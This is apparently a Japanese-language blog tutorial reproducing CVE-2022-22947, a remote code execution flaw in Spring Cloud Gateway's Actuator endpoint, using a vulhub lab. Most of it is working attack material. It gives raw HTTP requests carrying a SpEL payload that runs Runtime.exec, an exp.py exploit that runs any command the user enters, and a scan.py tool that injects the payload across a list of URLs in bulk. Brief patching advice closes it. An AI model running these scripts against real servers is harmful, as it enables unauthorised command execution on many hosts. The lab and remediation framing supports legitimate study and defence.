CVE-2022-22947 - Spring Cloud Gateway RCE
基本紹介
マイクロサービス アーキテクチャと Spring Cloud
Java プロジェクトを開発した当初、すべてのコードはモノリシック アーキテクチャと呼ばれる 1 つのプロジェクトにありました。私たちのプロジェクトのコード量が大きくなり、より多くのメンバーが開発するようになると、プロジェクトのパフォーマンスと開発の効率に非常に大きな問題が生じるため、そのようなプロジェクトでは、それを解体する必要があります。たとえば、大きなプロジェクトであることが判明した場合、注文サービス、ユーザー サービス、商品サービス、物流サービス、資本サービスなどのサービスに分割しました。これらのサービスの後、コンポーネントを導入しました。これらのサービスを調整および管理するための、サービス ゲートウェイ、サービス登録の検出、構成センター、コール チェーンの監視、メトリクスの監視など
Spring 開発チームは、 Springboot フレームワークに基づいてSpring Cloud エコシステムを開発しました
- Eureka、Ribbon、OpenFeign、Hystrix、Config、Zuul
- Consul、Gateway、Bus、Stream、Sleuth、zipkin
- ナコス、センチネル、シータ
これらの既製のマイクロサービスを使用してプロジェクトを開発しますが、これは以前に比べて非常に便利であり、今回再現する必要がある脆弱性が存在するコンポーネントはゲートウェイと呼ばれ、ゲートウェイ コンポーネントです。
プロジェクトを開発する際、分割されたサービスが多すぎるため、ユーザーが 1 つのプロジェクトで多くのサービスを呼び出すのは非常に面倒であるため、サービス ゲートウェイと呼ばれる統一された入口を使用します。
ゲートウェイの役割:
- インテリジェント ルーティング
- 負荷分散
- プロトコル変換
- 許可チェック
- 限流ヒューズ
- 白黒リスト
- API モニタリング
- ログ監査
したがって、ゲートウェイの機能は非常に強力であり、マイクロサービス アーキテクチャにも非常に必要です。
マイクロサービス アーキテクチャの選択:
- Netflix ズール
- Spring クラウド ゲートウェイ
- コング
- Nginx+セカンダリ
Spring フレームワークでゲートウェイ マイクロサービスを作成するには、pom.xml ファイルに次の依存関係を導入するだけです。
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
Spring Cloud Gateway概念
- ルート
- 断言(Predicate)
- フィルター
スプリングブーツアクチュエータ
Spring Boot Actuator は、Spring Boot の監視コンポーネントです
アクチュエータの役割:
- 健康診断
- 監査
- 統計
- HTTP トレース
Spring フレームワークでアクチュエーターを作成するには、pom.xml ファイルに次の依存関係を導入するだけです。
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
Actuator を使用して Gateway を監視できます。構成ファイルに次のコードを追加するだけです。
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
アクチュエータは、操作ゲートウェイ インターフェイスのリストを提供します。
http://host:port/actuator/gateway/id
脆弱性の再発
ここでは vulhub が提供する射撃場を使用しています. この射撃場をダウンロードする方法についてはあまり説明しません. それはあまりにも基本的です.
vulhubの射撃場をダウンロードしたらCVE-2022-22947に入る
次のコードを実行して、環境を開始およびインストールします
docker-compose up -d
ポートが開いているかどうかを確認する
docker-compose ps
ブラウザを開いて URL アドレスにアクセスします
http://ip:8080
再生モジュールへの BP
フィルター ペイロードを追加します (ここで IP ポートを自分のものに変更することを忘れないでください)。
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "wuyaaq",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{
\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
パッケージを送信すると、フィルター ルールが正常に追加されます。
フィルター ペイロードを更新する
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
a=1
パッケージを送信し、更新が成功したことを示すために戻ります
アクセス フィルター IDpayload
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
または、この手順をブラウザで直接実行してアクセスします
http://IP:8080/actuator/gateway/routes/hacktest
入力したコマンド whoami が実行されたことがわかります
この脆弱性の自動検出
次のコードを exp.py として保存します
import requests
import json
import base64
import re
payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Connection': 'close',
'Content-Type': 'application/json'
}
proxies = {
'http': 'http://192.168.0.112:8080'
}
data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='
data1 = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '0'
}
def exec():
# 执行命令
requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
# 获得结果
requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
#
a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
print(exec)
if __name__ == '__main__':
url = input("Url:")
cmd = input("Cmd:")
exec()
python exp.py
原理分析
質問: フィルター (ルーティング) を追加するとコードが実行されるのはなぜですか?
プロセス:
1. Acutator をオンにすると、/actuator/gateway/routes などのインターフェースを介してルート (フィルタを含む) を一覧表示できます 2. /
gateway/routes/{id_route_to_create} を介してルートを作成できます
3. /actuator/gateway を介してルートを更新します/refresh
4. ルートに悪意のあるフィルターが含まれている場合、内部の spEL 式が実行されます
スキャンと修復
脆弱性の範囲:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
https://tanzu.vmware.com/security/cve-2022-22947
バッチ検出コード
次のコードを scan.py として保存します。
import requests
import urllib3
import json
import re
urllib3.disable_warnings()
cmd='whoami'
a='''
$$$ $$ $$ $$$$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$ $$$$$
$$ $ $$ $$ $$ $ $$ $$ $$ $ $$ $ $$ $ $$ $ $$ $$ $$ $$$ $$
$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $ $$ $$
$$ $$$$ $$$$$ $$$ $$ $$ $$ $$ $$ $$$ $$ $$ $$ $$ $ $$ $$
$$ $$$$ $$ $$ $$ $$ $$ $$ $$ $$ $$$$ $$$$$$ $$
$$ $ $$$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$$ $$ $$$$$ $$$$$ $$$ $$$$$ $$$$$ $$$$$ $$$$$ $$$ $$ $$
'''
b ='python CVE-2022-22947_POC.py url.txt'
uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Content-Type': 'application/json'
}
payload = {
"id": "code",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
}
}],
"uri": "http://ggg.cpdd",
"order": 0
}
#刷新路由
def refresh(url):
try:
rf=url+uri_refresh
req_refresh =requests.post(url=rf,verify=False,timeout=1)
code_refresh=req_refresh.status_code
if code_refresh==200:
print('[+]刷新路由成功')
else:
print('[-]刷新路由失败')
# print(code_refresh)
# print(code_refresh)
except requests.exceptions.RequestException:
print('[-]刷新路由超时')
except:
print('[-]刷新路由异常')
def huixian(url):
try:
req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
req_huixian_text=req_huixian.text
req_huixian_code =req_huixian.status_code
if req_huixian_code==200:
req_huixian_text = req_huixian_text.replace("'", '')
req_huixian_text = req_huixian_text.replace(" ", '')
req_huixian_text = req_huixian_text.replace("\\n", '')
req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
huixian =req_huixian_re_1[0]
print(f'[+]获取回显命令成功:{huixian}')
# print(req_huixian_text)
else:
# print(req_huixian_code)
print('[-]获取回显失败,请手动测试')
except requests.exceptions.RequestException:
print('[-]获取回显超时')
except:
print('[-]获取回显异常,请手动测试')
#删除命令注入
def del_rce_in(url):
all=url+uri_check
try:
req =requests.delete(url=all,verify=False,timeout=2)
code = req.status_code
if code ==200:
print('[+]删除注入路由成功')
else:
print('[-]删除注入路由失败')
except requests.exceptions.RequestException:
print('[-]删除注入路由超时')
except:
print('[-]删除注入路由异常')
#批量检测漏洞
def poc(txt):
f =open(txt)
f=f.readlines()
for url in f:
url =url.strip('\n')
url =url.strip('/')
try:
all =url+uri_check
req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
code =req.status_code
if code ==201:
# print(code)
print(f'[+]{url}疑似存在漏洞')
poc_file=open('success.txt','a+')
poc_file.write(url+'\n')
poc_file.close()
refresh(url)
huixian(url)
del_rce_in(url)
refresh(url)
# refresh(url)
else:
print(f'[-]{url}不存在漏洞')
# continue
except requests.exceptions.RequestException:
time_poc=f'[-]{url}漏洞检测超时'
print(time_poc)
pass
except:
print(f'[-]{url}rce注入失败,请检查网站是否能访问')
continue
if __name__ == '__main__' :
print(a)
poc('url.txt')
次に、同じディレクトリに url.txt ファイルを用意し、その中に一括で検出するアドレスを書き込みます。
次に、バッチ検出のコードを実行します
python scan.py
修理
1. Spring Cloud Gateway を次のセキュリティ バージョンに更新およびアップグレードします。Spring
Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2. ビジネスへの影響を考慮せずにアクチュエータ インターフェイスを無効にします。
management.endpoint.gateway.enable:false